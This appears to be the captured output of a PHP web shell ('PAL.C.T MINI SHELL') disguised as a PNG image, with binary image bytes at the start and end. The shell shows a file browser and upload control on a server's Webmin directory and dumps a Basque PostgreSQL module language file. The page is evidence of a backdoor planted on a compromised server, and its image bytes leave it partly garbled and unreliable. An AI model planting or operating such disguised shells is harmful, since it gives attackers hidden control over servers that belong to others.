php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /usr/libexec/webmin/postgresql/lang/
upload
files >> //usr/libexec/webmin/postgresql/lang/eu.auto

index_title=PostgreSQL datu-base zerbitzaria
index_notrun=PostgreSQL ez da zure sisteman exekutatzen. Ezin izan da datu baseen zerrenda berreskuratu.
index_start=PostgreSQL zerbitzaria abiarazi
index_startmsg2=Egin klik botoi honetan zure sisteman PostgreSQL datu-base zerbitzaria abiarazteko. Webmin modulu honek ezin du datu basea abiarazi arte administratu.
index_nopass=Webminek zure PostgreSQL administrazioaren saioa eta pasahitza ezagutu behar ditu zure datu-basea kudeatzeko. Idatzi azpian zure administrazio erabiltzaile izena eta pasahitza.
index_nouser=Zure Webmin kontua PostgreSQL zerbitzarira konektatzeko $1 erabiltzaile gisa konfiguratuta dago, baina erabiltzaileari sarbidea ukatu zaio.
index_ltitle=PostgreSQL Saioa hasi
index_sameunix=Konektatu Unix-eko erabiltzaile berbera?
index_login=Saioa hasi
index_pass=Pasahitza
index_clear=Garbitu
index_stop=PostgreSQL zerbitzaria gelditu
index_stopmsg=Egin klik botoi honetan zure sistemako PostgreSQL datu-base zerbitzaria gelditzeko. Horrek eragotziko du erabiltzaileek edo programek datu basea sartzea, Webmin modulu hau barne.
index_dbs=PostgreSQL datu-baseak
index_add=Datu base berria sortu.
index_users=Erabiltzailea, Taldeak eta Baimenak
index_return=datu baseen zerrenda
index_esql=PostgreSQL bezeroaren programa $1 ez da zure sisteman aurkitu. Agian PostgreSQL ez dago instalatuta edo zure <a href='$2'>moduluaren konfigurazioa</a> okerra da.

index_ehba=PostgreSQL ostalariaren konfigurazio fitxategia ez da aurkitu zure sisteman. Agian PostgreSQL ez da hasieratu edo zure <a href='$2'>moduluaren konfigurazioa</a> okerra da.
index_superuser=PostgreSQL bezeroaren programa psql-k ezin izan du zure sisteman exekutatu. Agian PostgreSQL ez dago instalatuta edo zure <a href='$1'>moduluaren konfigurazioa</a> okerra da.
index_eversion=Zure sistemako PostgreSQL datu-basea $1 bertsioa da, baina Webmin-ek $2 eta berriagoak soilik onartzen ditu.
index_elibrary=PostgreSQL bezeroa $1 programa ezin izan da exekutatu Postgres partekatutako liburutegiak aurkitu ezin dituelako. Egiaztatu <a href='$2'>moduluaren konfigurazioa</a> eta ziurtatu <i>Path to PostgreSQL partekatutako liburutegiak</i> ezarrita dagoela.
index_ldpath=Partekatutako liburutegiko bidea $1 an dago ezarrita, eta $2 -ren irteera hau izan da :
index_version=PostgreSQL $1 bertsioa
index_setup=PostgreSQL ostalariaren konfigurazio fitxategia $1 ez da zure sisteman aurkitu, datu-basea oraindik ez dela hasierako adierazi. Egin klik beheko botoian PostgreSQL konfiguratzeko.
index_setupok=Hasierako datu-basea
index_nomod=Abisua: $1 Perl modulua ez dago zure sisteman instalatuta, beraz Webminek ezin izango du zure PostgreSQL datu-basea fidatu. <a href='$2'>Egin klik hemen</a> orain instalatzeko.
index_nomods=Abisua: $1 eta $2 Perl moduluak ez daude zure sisteman instalatuta eta, beraz, Webminek ezin izango du zure PostgreSQL datu-basea fidatu. <a href='$3'>Egin klik hemen</a> orain instalatzeko.
index_nodbs=Ez duzu datu baseetarako sarbiderik.
index_nodbs3=PostgreSQL datu-baserik ez da zure bilaketarekin bat etorri.
index_backup=Backup datu-baseak
index_backupmsg=Egin klik botoi honetan PostgreSQL datu baseen segurtasun kopiak konfiguratzeko, berehala edo konfiguratutako egitarau batean.
index_sch=(Eskemekin)
index_db=Datu-basearen izena
index_tables=Mahaiak
index_drops=Hautatu datu-baseak
index_postgresql=PostgreSQL
index_toomany=Datu-base gehiegi daude erakusteko. Aurkitu datu-baseak bat datozenak:
index_search=Search
index_showing=$1 ekin bat datozen datu baseak erakusten ..
index_emsg=PostgreSQL errore-mezu osoa hau da : $1 
index_hostdesc=Egin klik botoi honetan PostgreSQL-ra konektatzeko baimendutako ostalarien zerrenda eta autentikazio metodoak editatzeko.
index_using=Sarbide metodoa
index_btree=BTREE
index_rtree=RTREE
index_hash=hash
index_gist=Aurkibide orokorreko bilaketa zuhaitza
index_jump=Edo editatu datu-basea:
index_jumpok=Open
index_edithosts=Konfiguratu baimendutako ostalari sistemak

login_err=Errorea saioa hastean
login_ecannot=Ezin duzu datu-basearen hasiera konfiguratu
login_elogin=Saioa amaitzeko saioa falta da
login_epass=Erabiltzaile-izena edo pasahitza okerra

dbase_title=Editatu datu basea
dbase_noconn=Datu-base hau ez da une honetan konexioak onartzen. Beraz, ezin da ekintzarik egin bertan.
dbase_header=Datu-base taulak, indizeak, bistak eta sekuentziak
dbase_tables=Datu baseko taulak
dbase_add=Sortu taula
dbase_vadd=Sortu Ikusi
dbase_sadd=Sortu sekuentzia
dbase_drop=Beheko datu-basea
dbase_exec=SQL exekutatu
dbase_none=Datu-base honek ez du taularik, aurkibiderik, bista edo sekuentziarik.
dbase_fields=eremuak:
dbase_return=taulen zerrenda
dbase_ecannot=Ezin duzu datu basea editatu
dbase_table=Taula, ikuspegia edo aurkibidea
dbase_rows=Ilarak
dbase_cols=eremuak
dbase_delete=Hartu hautatutako objektuak
dbase_showing=$1 ekin bat datozen objektuak erakusten dira.
dbase_toomany=Objektu gehiegi daude erakusteko. Aurkitu behar dituzten objektuak
dbase_index=Index
dbase_view=ikusi
dbase_seq=Sekuentzia
dbase_jump=Editatu taula:
dbase_vjump=Editatu ikuspegia:
dbase_ijump=Editatu indizea:
dbase_sjump=Editatu sekuentzia:

table_title=Editatu taula
table_title2=Sortu taula
table_opts=Eremuko aukerak
table_header=$1 datu-baseko $1 taula
table_field=Eremuaren izena
table_type=Mota
table_null=Baliogabetu?
table_arr=Array?
table_none=Bat ere ez
table_add=Gehitu motako eremua:
table_return=eremu zerrenda
table_data=Ikusi datuak
table_drop=Jareginen taula
table_name=Taularen izena
table_initial=Hasierako eremuak
table_header2=Taula-aukera berriak
table_err=Ezin izan da taula sortzen
table_ename=Taularen izena edo falta da
table_efield='$1' ez da baliozko eremu izen bat
table_etype=$1 eremuko mota falta da
table_esize=$1 eremu motaren tamaina falta da
table_enone=Ez da hasierako zelairik sartu
table_fielddrop=Eroriko eremua
table_eblob=Ez da neurririk behar BLOB $1 eremuan
table_csv=Esportatu CSV gisa
table_index=Sortu Aurkibidea
table_delete=Ezabatu hautatutako eremuak

field_title1=Gehitu eremua
field_title2=Aldatu eremua
field_in=$1 datu-baseko $1 taulan
field_header=Eremuaren parametroak
field_name=Eremuaren izena
field_type=Datu mota
field_size=Mota zabalera
field_none=Bat ere ez
field_null=Baliogabetu?
field_arr=Array eremua?
field_key=Lehen mailako gakoa?
field_uniq=Bakarra?
field_err2=Huts egin du eremua gordetzean
field_err1=Ezin izan da eremua ezabatu
field_esize='$1' ez da baliozko eremuaren tamaina
field_eenum=Ez da sartu zenbakirik
field_efield='$1' ez da baliozko eremu izen bat
field_ekey=Baliogabetzen dituzten eremuak ezin dira gako primarioaren parte izan

exec_title=SQL exekutatu
exec_header=Sartu SQL komandoa datu basean exekutatzeko $1 ..
exec_old=Edo hautatu aurreko SQL komandoa :
exec_exec=Exekuzio
exec_clear=Historia garbi
exec_err=Huts egin du SQL egitean
exec_out=Irteera SQL komandoaren $1 ..
exec_none=Ez da daturik itzuli
exec_header2=Aukeratu SQL komando fitxategia $1 datu-basean exekutatzeko.
exec_file=Tokiko fitxategitik
exec_upload=Kargatutako fitxategitik
exec_eupload=Ez da fitxategia aukeratu
exec_efile=Tokiko fitxategia ez dago edo ezin da irakurri
exec_uploadout=Igotako SQL komandoen irteera ..
exec_fileout=$1 fitxategiko SQL komandoen irteera.
exec_noout=Ez da irteerarik sortu
exec_import=Datuak inportatzeko taula
exec_header3=Hautatu testu-datu fitxategi bat PostgreSQL datu-basean inportatzeko $1 ..
exec_header4=Fitxategi honek datu baseko erregistro bat eduki behar du lerro bakoitzeko, fitxak bereizita dauden fitxetan edo CSV formatuan.
exec_importmode=CSV fitxategiaren iturria
exec_delete=Taulako datuak lehenetsi nahi dituzu?
exec_filename=Fitxategi-izenetik
exec_ignore=Ezabatu errenkada bikoiztuak?
exec_edit=Editatu Aurrekoa
exec_format=Fitxategiaren formatua
exec_tabexec=SQL exekutatu
exec_tabfile=Exekutatu SQL fitxategitik
exec_tabimport=Inportatu testu fitxategia
exec_return=exekutatu SQL inprimakia

stop_err=Ezin izan da datu basearen zerbitzaria gelditu
stop_epidfile=Ezin izan da $1 PID fitxategia ireki
stop_ekill=Huts egin du $1 prozesua hiltzean : $2 
stop_ecannot=Ezin duzu datu-basearen zerbitzaria gelditu
start_err=Huts egin du datu-basearen zerbitzaria abiaraztean
start_ecannot=Ezin duzu datu-basearen zerbitzaria abiarazi

ddrop_err=Ezin izan da datu basea jaregin
ddrop_title=Beheko datu-basea
ddrop_rusure=Ziur al zaude $1 datu-basea bota nahi duzula? $3 datu-ilara dituzten 2 taulak ezabatuko dira.
ddrop_mysql=Datu-basea maisua denez, bertan behera uzteak zure PostgreSQL zerbitzaria ezin erabiliko du!
ddrop_ok=Beheko datu-basea

tdrop_err=Ezin izan da taula jaitsi
tdrop_title=Jareginen taula
tdrop_rusure=Ziur al zaude $1 taula $2 datu-basean utzi nahi duzula? $3 datu-ilara ezabatu egingo dira.
tdrop_ok=Jareginen taula

view_title=Taularen datuak
view_pos=$1 etik $2 ko errenkadak 3
view_none=Taula honek ez dauka daturik
view_edit=Editatu hautatutako errenkadak
view_new=Gehitu errenkada
view_delete=Ezabatu hautatutako errenkadak
view_refresh=Freskatu
view_nokey=Taula honetako datuak ezin dira editatu gako nagusirik ez duelako.
view_all=Hautatu guztiak
view_invert=Alderantzizko hautapena
view_search2=Bilatu $2 $3 $1 eremua duten errenkadak
view_match0=dauka
view_match1=partiduak
view_match2=ez dauka
view_match3=ez dator bat
view_match4=baino handiagoa
view_match5=baino gutxiago
view_searchok=Search
view_searchhead=$1 bilaketen emaitzak $2 eremuan.
view_searchhead2=Bilaketa aurreratuaren emaitzak $1 eremuetan ..
view_searchreset=Bilaketa berrezarri
view_sorthead1=$1 arabera ordenatzen, beheranzko ordena
view_sorthead2=$1 arabera ordenatzen, goranzko ordena
view_sortreset=Berrezarri orden
view_field=Eremuaren izena
view_data=Datu berriak
view_jump=Salto egin ilarara
view_go=Go
view_download=Deskarga ..
view_keep=Utzi aldatu gabe
view_set=Ezarri fitxategiaren edukira.
view_warn=Abisua: fitxategiak igotzea eta <tt>text</tt> edo <tt>bytea</tt> eremuetako edukiak ikustea eta ez da funtzionatuko, $1 eta $2 Perl moduluak instalatu eta erabiltzen ez badira behintzat.
view_adv=Bilaketa aurreratua
view_sqlrun=SQL kontsultak sortutako emaitzak : $1 

newdb_title=Datu-basea sortu
newdb_header=Datu base datu berriak
newdb_db=Datu-basearen izena
newdb_path=Datu-basearen fitxategiaren bidea
newdb_err=Ezin izan da datu basea sortu
newdb_edb=Datu-basearen izen falta edo baliogabea
newdb_ecannot=Ezin duzu datu baserik sortu
newdb_ecannot2=Ezin duzu datu base gehiago sortu
newdb_epath=Datu-basearen bidea falta da
newdb_user=Erabiltzailearen jabetzakoa
newdb_encoding=Karaktere multzoen kodeketa
newdb_eencoding=Pertsonaien multzoen kodeketa falta da
newdb_template=Txantiloien datu-basea
newdb_notemplate=Bat ere ez

user_title=PostgreSQL erabiltzaileak
user_vwarning=KONTUZ: PostgreSQL erabiltzaile hau $1 Virtualmin domeinuko administrazio-hasiera da. Hemen ezarpenak aldatzeak Virtualmin-en akatsak sor ditzake.
user_ecannot=Ezin duzu erabiltzaileak editatu
user_name=Erabiltzaile izena
user_db=Datu baseak sor daitezke?
user_other=Erabiltzaileak sor daitezke?
user_until=Baliozkoa arte
user_add=Sortu erabiltzaile berria.
user_forever=Forever
user_pass=Pasahitza behar duzu?
user_edit=Erabiltzailea editatu
user_create=Erabiltzailea Sortu
user_return=erabiltzaileen zerrenda
user_header=PostgreSQL erabiltzailearen xehetasunak
user_passwd=Pasahitza
user_none=Bat ere ez
user_setto=Ezarrita
user_nochange=Ez aldatu
user_err=Huts egin du erabiltzailea gordetzean
user_epass=Pasahitz falta edo baliogabea
user_ename=Erabiltzaile-izena falta edo baliogabea
user_sync=Beheko aukerek Webmin eta PostgreSQL erabiltzaileen bidez sortutako Unix erabiltzaileen arteko sinkronizazioa konfiguratzen dute.
user_syncwhen=Noiz sinkronizatu
user_sync_create=Gehitu PostgreSQL erabiltzaile berria Unix erabiltzaile bat gehitzen denean.
user_sync_modify=Eguneratu PostgreSQL erabiltzaile bat datorren Unix erabiltzailea aldatzen denean.
user_sync_delete=Ezabatu PostgreSQL erabiltzailea bat datozen Unix erabiltzailea ezabatzen denean.
user_delete=Ezabatu Hautatuta
user_derr=Ezin izan dira erabiltzaileak ezabatu
user_enone=Ez da erabiltzaile aukeratu

host_ecannot=Ezin duzu baimendu ostalariak editatu
host_title=Onartutako ostalariak
host_desc=Bezero bat datu-basera konektatzen denean, ondoren agertzen diren ostalariak prozesatu egiten dira bat etorri arte eta bezeroak baimendu edo ukatu egin arte.
host_header=PostgreSQL bezeroaren autentifikazio xehetasunak
host_local=Tokiko konexioa
host_peer=Sarea parekoa
host_address=Ostalariaren helbidea
host_db=Database
host_user=erabiltzaileak
host_uall=Erabiltzaile guztiak
host_auth=Autentifikazio modua
host_any=Sareko edozein ostalari
host_all=Datu base guztiak
host_same=Erabiltzaile-izen bera
host_gsame=Taldearen izenaren berdina
host_other=Beste ..
host_usel=Zerrendatutako erabiltzaileak ..
host_add=Sortu baimendu ostalari berria.
host_ident=Egiaztatu <tt>ident</tt> zerbitzaria ostalarian
host_trust=Ez da autentikaziorik behar
host_reject=Konexioari uko egitea
host_password=Testu arruntaren pasahitza
host_crypt=Pasahitz zifratua
host_md5=MD5 enkriptatutako pasahitza
host_krb4=Kerberos V4
host_krb5=Kerberos V5
host_pam=PAM
host_passwordarg=Erabili pasahitz fitxategia
host_identarg0=Ez erabili erabiltzaile-maparik
host_identarg1=PostgreSQL eta Unix erabiltzaileak berdinak dira
host_identarg2=Erabili erabiltzaileen mapa fitxategia
host_pamarg=Erabili PAM zerbitzua
host_create=Sortu Baimendu ostalaria
host_edit=Editatu baimendu ostalaria
host_single=Ostalari bakarra
host_network=Sarea
host_netmask=Sare-maskara
host_cidr=CIDR luzera
host_return=ostalarien sarbide-zerrenda
host_err=Huts egin du baimendutako ostalaria gordetzean
host_eident=Erabiltzaile-mapa falta edo baliogabea
host_epam=PAM zerbitzu falta edo baliogabea
host_epassword=Pasahitz fitxategi falta edo baliogabea
host_enetmask=Netmaskaren falta edo baliogabea
host_enetwork=Sare falta edo baliogabea
host_ehost=Ez dago edo ostalariaren IP helbide baliogabea
host_move=Mugitu
host_edb=Ez da datu-baserik izenik sartu
host_euser=Ez da erabiltzaile-izenik sartu
host_ssl=SSL konexioa beharrezkoa da?
host_viassl=SSL bidez
host_derr=Ezin izan da baimendutako ostalariak ezabatu
host_enone=Ez da ostalaririk aukeratu
host_manual=Editatu Konfigurazio fitxategia
host_manualdesc=Egin klik botoi honetan baimendutako ostalarien konfigurazio fitxategia eskuz editatzeko.

manual_title=Editatu Konfigurazio fitxategia
manual_err=Ezin izan da konfiguratu fitxategia gordetzean

grant_title=Emandako pribilegioak
grant_tvi=Objektu
grant_type=Mota
grant_db=Database
grant_ns=eskema
grant_public=Denek
grant_group=$1 taldea
grant_add=Gehitu diru-laguntza datu basean :
grant_return=pribilegioen zerrenda
grant_ecannot=Ezin duzu pribilegioak editatu
grant_create=Sortu Diru-laguntza
grant_edit=Editatu Diru-laguntza
grant_header=Erabiltzaileei emandako pribilegioak
grant_to=Eman pribilegioak
grant_table=Table
grant_view=Ikusi edo indexatu
grant_users=Eman pribilegioak
grant_user=Erabiltzaileak
grant_what=pribilegioak
grant_r=Table
grant_v=ikusi
grant_i=Index
grant_S=Sekuentzia
grant_none=Ez dago taularik, bistarik, sekuentziarik edo indizerik baimenik emateko.
grant_toomany=Objektu gehiegi daude erakusteko. Aurkitu behar dituzten objektuak
grant_showing=$1 ekin bat datozen objektuak erakusten dira.
grant_delete=Berrezarri hautatutako diru-laguntzak

group_title=PostgreSQL taldeak
group_ecannot=Ezin duzu talde editatu
group_name=Taldearen izena
group_id=Taldearen IDa
group_mems=Bazkideek
group_memsopts=Erabiltzaile guztiak
group_memsvals=Erabiltzaileak taldean
group_add=Sortu talde berria.
group_edit=Editatu Taldea
group_create=Sortu Taldea
group_header=PostgreSQL taldearen xehetasunak
group_return=taldeen zerrenda
group_err=Huts egin du taldea gordetzean
group_ename=Talde izen falta edo baliogabea
group_egid=Talde ID edo falta da
group_etaken=Taldearen izena dagoeneko erabiltzen ari da
group_none=Ez dago egun PostgreSQL taldeik.
group_derr=Ezin izan dira taldeak ezabatu
group_enone=Ez da talderik aukeratu

esql=SQL $1 ek huts egin du : $2 
log_start=PostgreSQL zerbitzaria hasi da
log_stop=PostgreSQL zerbitzaria gelditu da
log_db_create=$1 datu-basea sortu da
log_db_delete=$1 datu-basea bota da
log_dbs_delete=$1 datu-baseetatik bota da
log_users_delete=$1 erabiltzaile ezabatu dira
log_groups_delete=$1 talde ezabatu dira
log_hosts_delete=$1 ezabatu da ostalariei
log_table_create=$1 taula sortu da $2 datu-basean
log_table_delete=$1 taula $2 datu-basetik jaitsi da
log_view_create=$1 ikuspegia sortu da $2 datu-basean
log_view_modify=$1 ikuspegi aldatua $2 datu-basean
log_view_delete=$1 ikusitako informazioa $2 datu-basetik
log_index_create=$1 indizea sortu zen $2 datu-basean
log_index_modify=$1 indizea aldatua $2 datu-basean
log_index_delete=$1 indizea $2 datu-basetik jaitsi da
log_seq_create=$1 sekuentzia sortu da $2 datu-basean
log_seq_modify=$1 sekuentzia aldatua $2 datu-basean
log_seq_delete=$1 sekuentzia jaitsi da $2 datu-basetik
log_tables_delete=$1 objektuak $2 datu-basetik bota ditu
log_field_create=Erantsitako eremua $1 $4 tik $2 ra 3 datu-basean
log_field_modify=Aldatutako $1 $4 eremuan $2 datu-basean $3 
log_field_delete=$1 eremua ezabatu da $2 datu-basean $2 -tik
log_fields_delete=$1 eremuak $2 datu-basean ezabatu dira $3 datu-basean
log_data_create=Gehitu errenkada $2 datu-baseko $2 taulan
log_data_modify=Aldatu $1 errenkadak $2 taulan $3 datu-basean
log_data_delete=$1 errenkadak ezabatu dira $2 datu-baseko $2 taulatik
log_exec=SQL exekutatua $1 datu-basean
log_exec_l=$2 datu-basean SQL komando exekutatua $1 datu-basean
log_create_user=$1 erabiltzailea sortu da
log_delete_user=$1 erabiltzailea ezabatu da
log_modify_user=Erabiltzailearen aldaketa $1 
log_create_group=$1 taldea sortu da
log_delete_group=$1 talde ezabatu da
log_modify_group=$1 aldatutako taldea
log_create_local=Sortu baimendutako konexio lokala
log_modify_local=Tokiko konexio baimendua aldatu da
log_delete_local=Ezabatu egin da tokiko konexioa
log_move_local=Lekuz aldatu zen konexio lokala
log_create_all=Baimendu den ostalari bat sortu da
log_modify_all=Baimendu den ostalari bat aldatu da
log_delete_all=Baimendu den ostalari bat ezabatu da
log_move_all=Baimendutako edozein ostalari mugitu da
log_create_hba=Sortu $1 ostalari baimendua
log_modify_hba=$1 ostalari baimendua aldatu da
log_delete_hba=Ezabatu da $1 ostalaria
log_move_hba=Mugituta $1 ostalaria baimendu zen
log_grant=$1 datu-pribilegioak $2 datu-basean eman dira
log_degrant=Ezabatu dira $1 objektuei pribilegioak
log_setup=Hasierako datu basea
log_backup=$1 datu-basearen babeskopiak
log_backup_l=$1 datu-basearen babeskopia egin da $2 fitxategian
log_backup_all=Datu base guztiak babestu
log_backup_all_l=Datu-base guztien babesarekin $2 fitxategian egin zen
log_manual=Eskuz editatutako baimendu ostalarien konfigurazio fitxategia

acl_dbs=Erabiltzaile honek kudeatu ditzakeen datu-baseak
acl_dbscannot=Sarbide kontrol hori eraginkorra bihurtuko da, PostgreSQL datu-base zerbitzaria abiarazi ondoren.
acl_dall=Datu base guztiak
acl_dsel=Hautatutako ..
acl_create=Datu base berriak sor daitezke?
acl_max=Bai, gehienetan
acl_delete=Datu-baseak bota al ditzake?
acl_stop=PostgreSQL zerbitzaria gelditu eta abiarazi dezake?
acl_users=Erabiltzaileak, taldeak, ostalariak eta diru-laguntzak edita ditzakezu?
acl_backup=Babeskopiak sor daitezke?
acl_restore=Backupak berreskuratu ditzakezu?
acl_login=Sartu MySQL-ra
acl_user_def=Moduluen konfigurazioaren erabiltzaile izena
acl_user=Erabiltzaile izena
acl_pass=pasahitza
acl_sameunix=Konektatu eta egin babeskopiak Unix-eko erabiltzaile bera bezala?
acl_cmds=Egin al daiteke backup komandoen aurretik eta ondoren?
acl_views=Ikuspegiak ikusi eta kudeatu ditzakezu?
acl_indexes=Indizeak ikusi eta kudeatu ditzakezu?
acl_seqs=Sekuentziak ikusi eta kudeatu ditzakezu?

fdrop_err=Ezin izan dira eremuak ezabatu
fdrop_enone=Ez da hautatu
fdrop_eall=Ezin dituzu eremu guztiak taula batetik ezabatu!

setup_err=Ezin izan da datu basea hasieratu
setup_ecannot=Ezin duzu datu-basea hasieratu

dbase_bkup=Backup
dbase_rstr=Berreskuratu

restore_title=Datu-basea berreskuratu
restore_header=Berrezarri datu-basearen aukerak
restore_db=Datu-basearen izena
restore_src=Leheneratu
restore_src0=$1 zerbitzariaren fitxategia
restore_src1=Kargatutako $1 fitxategia
restore_err=Ezin izan da datu basea berreskuratu
restore_edb=Datu-basearen izen falta edo baliogabea
restore_eacl=Datu-basea sortu eta jaregin behar duzu
restore_epath=Datu-basearen bidea falta da
restore_go=Berreskuratu
restore_pe1=Fitxategiak tar fitxategia izan behar du ($1)
restore_pe2=Ez da aurkitu fitxategia ($1)
restore_exe=Komandoaren exekuzio errorea ($1)
restore_ecmd=$1 leheneratzeko komandoa ez da zure sisteman aurkitu
restore_ecannot=Ez duzu baimenik babeskopiak leheneratzeko
restore_only=Datuak leheneratu, taulak ez?
restore_clean=Taulak ezabatu nahi dituzu leheneratu aurretik?
restore_tables=Zaharberritzeko taulak
restore_tables1=Guztiak backup fitxategian
restore_tables0=Zerrendatutako taulak
restore_failed=Leheneratu da huts egin duena : $1 

backup_title=Backup datu-basea
backup_title2=Babeskopia datu base guztiak
backup_header1=Backup helmuga
backup_header2=Beste babes-aukera batzuk
backup_header3=Backup egutegia
backup_db=Datu-basearen izena
backup_desc=Inprimaki honek $1 datu-basearen backup egin dezakezu SQL adierazleen fitxategi gisa edo artxibo gisa.
backup_desc2=Babeskopia berehala edo automatikoki hautatutako ordutegian egin daiteke.
backup_desc3=Inprimaki honek datu base guztiak backup SQL adierazpen edo artxibo fitxategi gisa egin ditzakezu.
backup_path=Backup fitxategiaren bidea
backup_path2=Backup fitxategien direktorio
backup_mkdir=Helmuga direktorioa sortu?
backup_err=Huts egin du babes-datu basean
backup_eacl=Datu-basea sortu eta jaregin behar duzu
backup_edb=Datu-basearen izen falta edo baliogabea
backup_epath=Datu-basearen bidea falta da
backup_ok=Backup Orain
backup_ok1=Gorde eta babeskopia egin orain
backup_ok2=Save
backup_pe1=Fitxategiak TAR (.tar) fitxategia izan behar du ($1)
backup_pe2=Fitxategia lehendik dago ($1)
backup_pe3=Babes-fitxategiaren bide falta edo baliogabea
backup_pe4=Falta diren edo existitzen ez diren backup fitxategien direktorio
backup_ebackup=<tt>pg_dump</tt> huts egin du : $1 
backup_ecmd=$1 babes-komandoa ez da zure sisteman aurkitu
backup_format=Backup fitxategi formatua
backup_format_p=SQL testu arrunta
backup_format_t=Tar artxiboa
backup_format_c=Neurrira artxiboa
backup_ecannot=Ezin duzu segurtasun kopiak sortu
backup_done=$3 byte babestu ditu $1 datu-basetik $2 fitxategira.
backup_notaccept=$1 datu-basea ez da konexioak onartzen.
backup_sched=Babeskopia programatua gaituta dago?
backup_special=Backup egutegia
backup_sched1=Bai, behean aukeratutako uneetan ..
backup_ccron=Datu baseak aktibatutako segurtasun kopia aktibatuta
backup_dcron=Datu basea desgaituta dago.
backup_ucron=Datu base eguneratua gordetzeko babesaren bidea, formatua eta orduak.
backup_ncron=Datu-basearen babeserako antolatutako programazioa desgaituta dago.
backup_before=Babeskopia egin aurretik exekutatzeko agindua
backup_after=Babeskopia egin ondoren exekutatzeko agindua
backup_tables=Babeskopiak egiteko taulak
backup_alltables=Taula guztiak
backup_seltables=Mahaia bakarrik
backup_ebefore=Back-backup komandoak huts egin du!
backup_cmode=Noiz exekutatu komandoak
backup_cmode1=Datu base guztiak aurretik/ondoren
backup_cmode0=Datu-base bakoitzaren aurretik/ondoren

r_command=Komandoa ez da onartzen

adv_title=Bilaketa aurreratua
adv_and=Aurkitu irizpide guztiak betetzen dituzten erregistroak ..
adv_or=Aurkitu edozein irizpide betetzen dituzten erregistroak ..
adv_ok=Bilatu orain

tdrops_enone=Ez da mahairik aukeratu hautatuta
tdrops_err=Ezin izan da mahaia jaitsi
tdrops_ok=Drop
tdrops_title=Hautatu hautua
tdrops_rusure=Ziur $1 hautatutako $1 taula (k) jaitsi nahi duzula? $3 datu-ilara ezabatu egingo dira.
tdrops_rusure2=Ziur $1 hautatutako $1 taula (k) jaitsi nahi duzula?

ddrops_err=Ezin izan da datu basea jaitsi
ddrops_title=Jarri datu-baseak
ddrops_rusure=Ziur zaude $1 hautatutako datu baseak bota nahi dituzula? $3 datu-ilara dituzten 2 taulak ezabatuko dira.
ddrops_mysql=Datu-base maisua hautatuta dagoenez, hura jaurtitzerakoan zure PostgreSQL zerbitzaria ezin da erabili!
ddrops_ok=Jarri datu-baseak
ddrops_enone=Ez da datu baseik hautatu
ddrops_ecannotdb=Ezin duzu $1 datu-basea bota

csv_title=Export CSV fitxategia
csv_header=CSV esportatzeko aukerak
csv_dest=Esportazioen helmuga
csv_browser=Bistaratu arakatzailean
csv_file=Gorde fitxategian ..
csv_where=SQL <tt>non</tt> klausularen ilarak esportatu ahal izateko
csv_all=Esportatu errenkada guztiak
csv_ok=Esportatu orain
csv_format=Fitxategiaren formatua
csv_format0=CSV komatxoekin
csv_format1=CSV komatxo barik
csv_format2=Fitxa bereizita
cvs_err=CSV esportazioak huts egin du
csv_efile=Helmuga fitxategi falta edo baliogabea
csv_ebuser=Ezin duzu fitxategi batera esportatu
csv_ewhere=<tt>non</tt> klausula falta da
csv_done=$1 CSV esportazioa amaitu da. Lortutako fitxategiaren tamaina $2 da.
csv_headers=Zutabe izenak sartu CSV-n?
csv_cols=Zutabeak CSV-n sartzeko
csv_ecols=Ez da zutabe aukeratu

import_title=Inportatu datuak
import_uploadout=Kargatutako fitxategitik datuak inportatzen ..
import_fileout=$1 fitxategitik datuak inportatzen.
import_eupload=Igotako inportazio fitxategia falta da
import_efile=Inportazio fitxategiaren izena falta da
import_done=.. $1 errenkadak sortu ditu eta $2 bikoiztu egin dira.
import_erow=.. ez da $1 errenkadan aurkitu eremurik

index_title1=Sortu Aurkibidea
index_header1=Indizearen aukerak
index_name=Indizearen izena
index_fields=Eremuak aurkibidean
index_type=Aurkibide mota
index_unique=Bakarra
index_nonunique=Ez-berezia
index_fulltext=Testu osoa
index_spatial=Lurraldearen
index_err=Ezin izan da indizea sortu
index_ename=Falta edo indizearen izen baliogabea
index_eclash=Izen bera duen aurkibidea dagoeneko
index_ehash=BTREE indizeak bakarrak izan daitezke
index_ecols=Ez da eremu hautatu
index_title2=Editatu aurkibidea
index_header=$1 aurkibidea $2 datu-basean
index_ecannot=Ezin duzu indizeak kudeatu

view_title1=Sortu Ikusi
view_title2=Editatu Ikusi
view_header1=Ikusi xehetasunak
view_name=Izena ikusi
view_query=SQL hautaketa kontsulta
view_cols=Zutabeen izenak
view_auto=automatikoa
view_below=Jarraian idatzi
view_err=Ezin izan da ikuspegia gorde
view_ename=Ikusitako izen falta edo baliogabea
view_eclash=Izen bereko ikuspegia badago lehendik
view_equery=SQL kontsulta falta da
view_ecols=Ez da zutabe izenik sartu
view_ecannot=Ezin duzu bista kudeatu

seq_title1=Sortu sekuentzia
seq_title2=Editatu Sekuentzia
seq_header1=Sekuentzia aukerak areagotzea
seq_name=Izenaren sekuentzia
seq_last=Uneko balioa
seq_leave=Utzi aldatu gabe ($1)
seq_min=Gutxieneko balioa
seq_max=Gehienezko balioa
seq_inc=Hazkundea
seq_cache=Memoria-katxeak dituen balio kopurua
seq_cycle=Itzuli min gutxienez iristen denean?
seq_none=Bat ere ez
seq_err=Huts egin du sekuentzia gordetzean
seq_ename=Sekuentziaren izen falta edo baliogabea
seq_eclash=Izen bera duen sekuentzia dago dagoeneko
seq_emin=Gutxieneko balio falta edo falta da
seq_emax=Gehienezko balio falta edo baliogabea
seq_ecache=Memoria cacheari dagozkion balio kopurua falta da edo ez da baliozkoa
seq_ecannot=Ezin duzu sekuentziak kudeatu

dgrant_err=Ezin izan da diru-laguntzak berrabiarazi
dgrant_enone=Ez da objektu hautatu
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`